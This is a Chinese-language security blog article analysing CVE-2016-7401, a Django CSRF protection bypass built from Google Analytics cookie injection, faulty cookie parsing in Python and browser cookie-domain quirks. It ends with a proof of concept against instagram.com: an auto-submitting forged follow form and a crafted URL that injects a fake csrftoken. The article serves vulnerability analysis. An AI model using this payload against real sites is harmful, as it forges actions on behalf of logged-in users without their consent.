首页 > 安全 > 系统安全 >

CVE-2016-7401-Django CSRF防御绕过漏洞分析

2016-09-29

Django于昨天修复了这个漏洞: https: www djangoproject com weblog 2016 sep 26 security-releases 其实去年就有类似的问题,报告给Twitter( https: hackerone com reports 14883 ),漏洞是由以下几个部分组成的。

Django于昨天修复了这个漏洞: https://www.djangoproject.com/weblog/2016/sep/26/security-releases/

其实去年就有类似的问题,报告给Twitter( https://hackerone.com/reports/14883 ),漏洞是由以下几个部分组成的。

0x01 由Google Analytics导致的Cookie注入漏洞

Google Analytics会设置如下的Cookie来追踪用户:

__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]

比如:

__utmz=123456.123456789.11.2.utmcsr=blackfan.ru|utmccn=(referral)|utmcmd=referral|utmcct=/path/

也就是说,我们可以通过控制[PATH]位置来控制一部分Cookie,而且[PATH]位置并没有进行编码和过滤。这也是造成后面漏洞的导火索。

0x02 Django的解析缺陷

不同Web server对Cookie头有不同的解析方式。

通常浏览器发送的Cookie是这样:

Cookie: param1=value1; param2=value2;

很多Web server也接受以“逗号”为分隔符的Cookie头:

Cookie: param1=value2, param2=value2

Cookie: param1=value2,param2=value2

Python + Django却因为错误的正则,导致可以使用]作为分隔符:

Cookie: param1=value1]param2=value2

这个问题是Python原生Cookie库的问题,我们可以在命令行下测试一下:

>>> import Cookie

>>> C = Cookie.SimpleCookie()

>>> C.load('__utmz=blah]csrftoken=x')

>>> C

可见,当c.load('__utmz=blah]csrftoken=x')后,cookie被错误地解析为两个,一个Cookie[__utmz]=blah,一个csrftoken=x。

0x03 不同浏览器处理Cookie的特性

除了Safari以外,所有浏览器都支持将一些特殊字符(空格、逗号或\)设置为Cookie的值。

Chrome处理Cookie属性的数量有限。比如

1

Set-Cookie: test=test; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=blah.blah.blah.google.com;

的domain将会被认为是.google.com而不是blah.blah.blah.google.com。

0x04 注入TOKEN绕过CSRF检查

利用上面3个特性,我们可以攻击具有如下条件的网站:

使用了 Google Analytics

使用了会错误解析Cookie的服务器(如Django)

使用了基于Cookie的CSRF防御方式(就是将Cookie中的Token和表单中的Token相比较,确保表单不是伪造的)

然后:

我们将Cookie中的Token设置为任意一个字符串,覆盖原有的Token

于是这个网站就可以绕过CSRF防御了

还有一个问题就是,__utmz这个Cookie时长是6个月不会刷新(也就没法写入新的)。解决方法是,你可以找一个同样使用了Google Analytics的子域名,然后借用0x03中说到的方法覆盖掉主域名的Cookie的domain即可。

其他浏览器,可以等到__utmz刷新的时候进行攻击。

0x05 POC编写

用instagram.com为例。

用谷歌的匿名模式打开instagram.com

登录instagram.com

点击链接( http://blackfan.ru/facebookbugbounty/nouysqaqfbskgobuqkknoitvyqmjgony_instagram.html ),并等待一会

你已经成为 http://instagram.com/black2fan 的粉丝了(成功刷粉)

链接代码如下:

action="http://instagram.com/web/friendships/1312928755/follow/?ref=emptyfeed"

id="csrf"

method="POST">

function xxx() {

document.getElementById('csrf').submit();

}

src="http://blackfan.ru/r/,]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/"/>

这四步实际执行了下面的过程:

1. 用户登录instagram.com

攻击者让用户登录了它以前没有登录过的blog.instagram.com:

http://blog.instagram.com/r/,]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/

2. Cookie的domain被覆盖为.instagram.com:

_utmz=90378079.1401435337.1.1.utmcsr=blog.instagram.com|utmccn=(referral)|utmcmd=referral|utmcct=/r/,]csrftoken=x,

3. 此时,服务端会将这个Cookie解析为csrftoken=x

4. 然后提交CSRF Token=x的表单即可。

相关文章
最新文章
热点推荐